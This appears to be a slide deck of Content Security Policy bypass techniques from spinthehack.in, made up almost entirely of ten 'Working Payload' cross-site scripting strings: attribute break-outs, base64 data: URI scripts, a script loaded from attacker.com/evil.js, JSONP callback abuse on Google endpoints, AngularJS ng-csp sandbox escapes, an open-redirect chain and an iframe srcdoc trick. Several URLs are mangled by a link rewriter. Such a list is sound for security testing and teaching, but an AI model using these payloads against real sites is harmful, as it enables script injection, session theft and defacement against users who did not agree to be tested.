Content Security Policy: Directives of CSP
Content Security Policy: Directives of CSP
www.spinthehack.in
▪ Directives of CSP
▪ Directives of CSP
▪ Sources of Directives
data: This source allows loading resources via the data scheme (eg
Base64 encoded images)
unsafe-eval : This allows the use of eval() and similar methods for
creating code from strings. This is not a safe practice to include this
source in any directive. For the same reason it is named as unsafe.
Scenario : 1
Working Payload
"/><script>alert(1337);</script>
Scenario : 2
Working Payload
<script
src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWl
uKQ=="></script>
Content Security Policy
www.spinthehack.in
Scenario : 3
Working Payload
"/>'><script src=https://attacker.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
Scenario : 4
Working Payload
"/>'><script src="/user_upload/mypic.png.js"></script>
Content Security Policy
www.spinthehack.in
Scenario : 5
Working Payload
<object
data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTw
vc2NyaXB0Pg=="></object>
">'><object type="application/x-shockwave-flash"
data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0
r4/build/charts/assets/charts.swf?allowedDomain=\"})))}ca
tch(e) {alert(1337)}//'>
<param name="AllowScriptAccess" value="always"></object>
Scenario : 6
Content-Security-Policy: script-src 'self'
https://www.google.com ; object-src 'none' ; report-uri
/Report-parsing-url;
Working Payload
"><script
src="https://www.google.com/complete/search?client=chro
me&q=hello&callback=alert#1"></script>
Content Security Policy
www.spinthehack.in
Working Payload
<script
src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7
.2/prototype.js"></script>
<script
src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.
8/angular.js" /></script>
<div ng-app ng-csp>
{{ x =
$on.curry.call().eval("fetch('http://localhost/index.php').t
hen(d => {})") }}
</div>
"><script
src="https://cdnjs.cloudflare.com/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
Content Security Policy
www.spinthehack.in
Working Payload
ng-app"ng-csp ng-click=$event.view.alert(1337)><script
src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angula
r.js></script>
"><script
src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%
26callback=alert%26context=1337></script>
Scenario : 9
Working Payload
">'><script
src="https://website.with.redirect.com/redirect?url=https
%3A//accounts.google.com/o/oauth2/revoke?callback=alert
(1337)"></script>">
Scenario : 10
Content-Security-Policy:
default-src 'self' data: *; connect-src 'self'; script-src
'self' ;
report-uri /_csp; upgrade-insecure-requests
Working Payload
<iframe srcdoc='<script
src="data:text/javascript,alert(document.domain)"></script
>'></iframe>